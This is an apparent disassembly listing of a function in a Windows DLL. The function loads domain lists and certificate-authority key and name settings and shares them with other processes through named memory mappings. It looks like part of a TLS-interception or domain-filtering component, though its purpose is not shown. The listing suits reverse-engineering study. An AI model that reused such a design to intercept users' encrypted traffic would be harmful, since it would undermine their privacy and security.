lea rcx, [rsp + 0x1c8]
call fcn.180011c70
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0
je 0x18001504f
cmp dword [rsp + 0x64], 0
jbe 0x18001504f
mov r9d, dword [rsp + 0x64]
mov r8, qword [rsp + 0x98]
lea rdx, str.ourdomains
lea rcx, [rsp + 0x180]
call fcn.1800116c0
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x1ef0], rax
mov rcx, qword [rsp + 0x1ef0]
call fcn.18004f750
mov qword [rsp + 0x98], 0
mov dword [rsp + 0x60], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x208]
call fcn.180011c70
mov qword [rsp + 0x1c0], rax
cmp qword [rsp + 0x1c0], 0
je 0x1800150cd
cmp dword [rsp + 0x60], 0
jbe 0x1800150cd
mov r9d, dword [rsp + 0x60]
mov r8, qword [rsp + 0x1c0]
lea rdx, str.qzpassdomains
lea rcx, [rsp + 0x180]
call fcn.1800116c0
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x1ef8], rax
mov rcx, qword [rsp + 0x1ef8]
call fcn.18004f750
mov qword [rsp + 0x1c0], 0
mov dword [rsp + 0x168], 0
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x258]
call fcn.180011c70
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x180015148
cmp dword [rsp + 0x168], 0
jbe 0x180015148
mov r9d, dword [rsp + 0x168]
mov r8, qword [rsp + 0x58]
lea rdx, str.blockdomains
lea rcx, [rsp + 0x180]
call fcn.1800116c0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x1f00], rax
mov rcx, qword [rsp + 0x1f00]
call fcn.18004f750
mov qword [rsp + 0x58], 0
mov dword [rsp + 0x68], 0x1000
mov ecx, dword [rsp + 0x68]
call fcn.18004f654
mov qword [rsp + 0x1f08], rax
mov rax, qword [rsp + 0x1f08]
mov qword [rsp + 0x250], rax
mov ecx, dword [rsp + 0x68]
mov rdi, qword [rsp + 0x250]
xor eax, eax
rep stosb byte [rdi], al
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x250]
lea rdx, str.cakey
lea rcx, [rsp + 0x180]
call fcn.1800116c0
mov dword [rsp + 0x88], 0x200
mov ecx, dword [rsp + 0x88]
call fcn.18004f654
mov qword [rsp + 0x1f10], rax
mov rax, qword [rsp + 0x1f10]
mov qword [rsp + 0x90], rax
mov ecx, dword [rsp + 0x88]
mov rdi, qword [rsp + 0x90]
xor eax, eax
rep stosb byte [rdi], al
mov r9d, dword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
lea rdx, str.caname
lea rcx, [rsp + 0x180]
call fcn.1800116c0
mov dword [rsp + 0x248], 0x1000
mov ecx, dword [rsp + 0x248]
call fcn.18004f654
mov qword [rsp + 0x1f18], rax
mov rax, qword [rsp + 0x1f18]
mov qword [rsp + 0x240], rax
mov ecx, dword [rsp + 0x248]
mov rdi, qword [rsp + 0x240]
xor eax, eax
rep stosb byte [rdi], al
mov r9d, dword [rsp + 0x248]
mov r8, qword [rsp + 0x240]
lea rdx, str.cakey64
lea rcx, [rsp + 0x180]
call fcn.1800116c0
mov dword [rsp + 0x70], 0x200
mov ecx, dword [rsp + 0x70]
call fcn.18004f654
mov qword [rsp + 0x1f20], rax
mov rax, qword [rsp + 0x1f20]
mov qword [rsp + 0x160], rax
mov ecx, dword [rsp + 0x70]
mov rdi, qword [rsp + 0x160]
xor eax, eax
rep stosb byte [rdi], al
mov r9d, dword [rsp + 0x70]
mov r8, qword [rsp + 0x160]
lea rdx, str.caname64
lea rcx, [rsp + 0x180]
call fcn.1800116c0
mov rcx, qword [rsp + 0x2208]
call fcn.18000b500
add eax, 1
movsxd rdi, eax
shl rdi, 1
mov rcx, qword [rsp + 0x2208]
call fcn.180003370
mov r9d, edi
mov r8, rax
lea rdx, str.shareini
lea rcx, [rsp + 0x180]
call fcn.1800116c0
mov ecx, 0x19cc
call fcn.180050744
mov qword [rsp + 0x1f28], rax
mov rax, qword [rsp + 0x1f28]
mov qword [rsp + 0x80], rax
mov rdi, qword [rsp + 0x80]
xor eax, eax
mov ecx, 0x19cc
rep stosb byte [rdi], al
mov r9d, 0x19cc
mov r8, qword [rsp + 0x80]
lea rdx, [0x1800739d0]
lea rcx, [rsp + 0x180]
call fcn.1800116c0
lea rcx, [rsp + 0x50]
call fcn.180001700
nop
mov rcx, qword [rsp + 0x2210]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x1f30]
call fcn.180009130
mov qword [rsp + 0x2178], rax
mov rax, qword [rsp + 0x2178]
mov qword [rsp + 0x2180], rax
mov rcx, qword [rsp + 0x2218]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x1f38]
call fcn.180009130
mov qword [rsp + 0x2188], rax
mov rax, qword [rsp + 0x2188]
mov qword [rsp + 0x2190], rax
mov r9, qword [rsp + 0x2180]
mov r9, qword [r9]
mov r8, qword [rsp + 0x2190]
mov r8, qword [r8]
lea rdx, str.hjk__s__s_data
lea rcx, [rsp + 0x50]
call fcn.1800053c0
nop
lea rcx, [rsp + 0x1f38]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x1f30]
call fcn.1800017c0
lea rcx, [rsp + 0x158]
call fcn.180001700
nop
mov edx, 0x32
lea rcx, [rsp + 0x158]
call fcn.180004ec0
mov rsi, rax
lea rcx, [rsp + 0x50]
call fcn.18000b500
movsxd rdi, eax
shl rdi, 1
lea rcx, [rsp + 0x50]
call fcn.180003370
mov r9d, 0x32
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.18000a880
mov edx, 0xffffffff
lea rcx, [rsp + 0x158]
call fcn.18000b520
lea rdx, [0x180073a00]
lea rcx, [rsp + 0x1f40]
call fcn.18000b430
nop
lea r8, [rsp + 0x158]
lea rdx, [rsp + 0x1f40]
lea rcx, [rsp + 0x1f48]
call fcn.18001cd60
mov qword [rsp + 0x2198], rax
mov rax, qword [rsp + 0x2198]
mov qword [rsp + 0x21a0], rax
mov rcx, qword [rsp + 0x21a0]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.180009190
nop
lea rcx, [rsp + 0x1f48]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x1f40]
call fcn.1800017c0
mov dword [rsp + 0x154], 0
lea rdx, [rsp + 0x154]
lea rcx, [rsp + 0x180]
call fcn.180011900
mov qword [rsp + 0x1b8], rax
cmp qword [rsp + 0x1b8], 0
je 0x18001569a
lea rcx, [rsp + 0x1b68]
call fcn.180011eb0
lea rcx, [rsp + 0x50]
call fcn.18000b4f0
mov rdx, rax
mov eax, dword [rsp + 0x154]
add rax, 4
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], eax
xor r9d, r9d
mov r8d, 4
lea rdx, [rsp + 0x1b68]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x1b60], rax
cmp qword [rsp + 0x1b60], 0
je 0x180015671
mov eax, dword [rsp + 0x154]
add rax, 4
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 6
mov rcx, qword [rsp + 0x1b60]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsp + 0x1b80], rax
cmp qword [rsp + 0x1b80], 0
je 0x180015671
mov rcx, qword [rsp + 0x1b80]
mov eax, dword [rsp + 0x154]
mov dword [rcx], eax
mov r9d, dword [rsp + 0x154]
mov edx, dword [rsp + 0x154]
mov rcx, qword [rsp + 0x1b80]
add rcx, 4
mov r8, qword [rsp + 0x1b8]
call fcn.18004f95c
mov dword [rsp + 0x1b88], 0
mov dword [rsp + 0x1b8c], 0
mov rcx, qword [rsp + 0x1b80]
add rcx, 4
lea rax, [rsp + 0x1b8c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1b88]
lea r8, str.protectdomain
mov edx, dword [rsp + 0x154]
call fcn.180044000
test eax, eax
je 0x180015671
mov ecx, dword [rsp + 0x1b88]
mov rax, qword [rsp + 0x1b80]
lea rax, [rax + rcx + 4]
mov qword [0x1800a0198], rax
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x1f50], rax
mov rcx, qword [rsp + 0x1f50]
call fcn.18004f750
mov qword [rsp + 0x1b8], 0
lea rcx, [rsp + 0x1b98]
call fcn.180001700
nop
mov rcx, qword [rsp + 0x2218]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x1f58]
call fcn.180009130
mov qword [rsp + 0x21a8], rax
mov rax, qword [rsp + 0x21a8]
mov qword [rsp + 0x21b0], rax
mov r8, qword [rsp + 0x21b0]
mov r8, qword [r8]
lea rdx, str.hjk__s_data
lea rcx, [rsp + 0x1b98]
call fcn.1800053c0
nop
lea rcx, [rsp + 0x1f58]
call fcn.1800017c0
lea rcx, [rsp + 0x1ba8]
call fcn.180001700
nop
mov edx, 0x32
lea rcx, [rsp + 0x1ba8]
call fcn.180004ec0
mov rsi, rax
lea rcx, [rsp + 0x1b98]
call fcn.18000b500
movsxd rdi, eax
shl rdi, 1
lea rcx, [rsp + 0x1b98]
call fcn.180003370
mov r9d, 0x32
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.18000a880
mov edx, 0xffffffff
lea rcx, [rsp + 0x1ba8]
call fcn.18000b520
lea rdx, [0x180073a38]
lea rcx, [rsp + 0x1f60]
call fcn.18000b430
nop
lea r8, [rsp + 0x1ba8]
lea rdx, [rsp + 0x1f60]
lea rcx, [rsp + 0x1f68]
call fcn.18001cd60
mov qword [rsp + 0x21b8], rax
mov rax, qword [rsp + 0x21b8]
mov qword [rsp + 0x21c0], rax
mov rcx, qword [rsp + 0x21c0]
call fcn.18000b4f0
mov rdx, rax
lea rcx, [rsp + 0x1b98]
call fcn.180009190
nop
lea rcx, [rsp + 0x1f68]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x1f60]
call fcn.1800017c0
mov qword [rsp + 0x1ba0], 0
mov qword [rsp + 0x1b90], 0
lea rcx, [rsp + 0x1b98]
call fcn.18000b4f0
mov r8, rax
xor edx, edx
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov qword [rsp + 0x1ba0], rax
cmp qword [rsp + 0x1ba0], 0
jne 0x1800158d7
lea rcx, [rsp + 0x1bb0]
call fcn.180011eb0
lea rcx, [rsp + 0x1b98]
call fcn.18000b4f0
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2004
xor r9d, r9d
mov r8d, 4
lea rdx, [rsp + 0x1bb0]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x1ba0], rax
cmp qword [rsp + 0x1ba0], 0
je 0x1800158d5
mov qword [rsp + 0x20], 0x2004
xor r9d, r9d
xor r8d, r8d
mov edx, 6
mov rcx, qword [rsp + 0x1ba0]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsp + 0x1b90], rax
mov rdi, qword [rsp + 0x1b90]
xor eax, eax
mov ecx, 0x2004
rep stosb byte [rdi], al
jmp 0x180015901
mov qword [rsp + 0x20], 0x2004
xor r9d, r9d
xor r8d, r8d
mov edx, 6
mov rcx, qword [rsp + 0x1ba0]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsp + 0x1b90], rax
cmp qword [rsp + 0x1b90], 0
je 0x1800159be
mov rax, qword [rsp + 0x1b90]
mov qword [rsp + 0x1bc8], rax
mov rax, qword [rsp + 0x1bc8]
cmp dword [rax], 0x10
jae 0x1800159be
mov rdx, qword [rsp + 0x1bc8]
add rdx, 4
mov rax, qword [rsp + 0x1bc8]
mov ecx, dword [rax]
imul rcx, rcx, 0x200
mov rax, rdx
add rax, rcx
mov qword [rsp + 0x21c8], rax
mov rax, qword [rsp + 0x1bc8]
mov ecx, dword [rax]
add ecx, 1
mov rax, qword [rsp + 0x1bc8]
mov dword [rax], ecx
lea rcx, [rsp + 0x50]
call fcn.18000b500
movsxd rdi, eax
lea rcx, [rsp + 0x50]
call fcn.18000b500
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.180001df0
mov r9, rdi
mov r8, rax
mov edx, 0x100
mov rcx, qword [rsp + 0x21c8]
call fcn.180002370
mov edx, 0xffffffff
lea rcx, [rsp + 0x50]
call fcn.1800037a0
nop
lea rcx, [rsp + 0x1ba8]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x1b98]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x158]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x50]
call fcn.1800017c0
nop
lea rcx, [rsp + 0xb0]
call fcn.18000fa80
nop
lea rcx, [rsp + 0x78]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x200]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x170]
call fcn.1800017c0
nop
lea rcx, [rsp + 0x258]
call fcn.180015a80
nop
lea rcx, [rsp + 0x208]
call fcn.180015a80
nop
lea rcx, [rsp + 0x1c8]
call fcn.180015a80
nop
lea rcx, [rsp + 0x180]
call fcn.180011620
mov rcx, qword [rsp + 0x21d0]
xor rcx, rsp
call fcn.18004f770
add rsp, 0x21e8
pop rdi
pop rsi
ret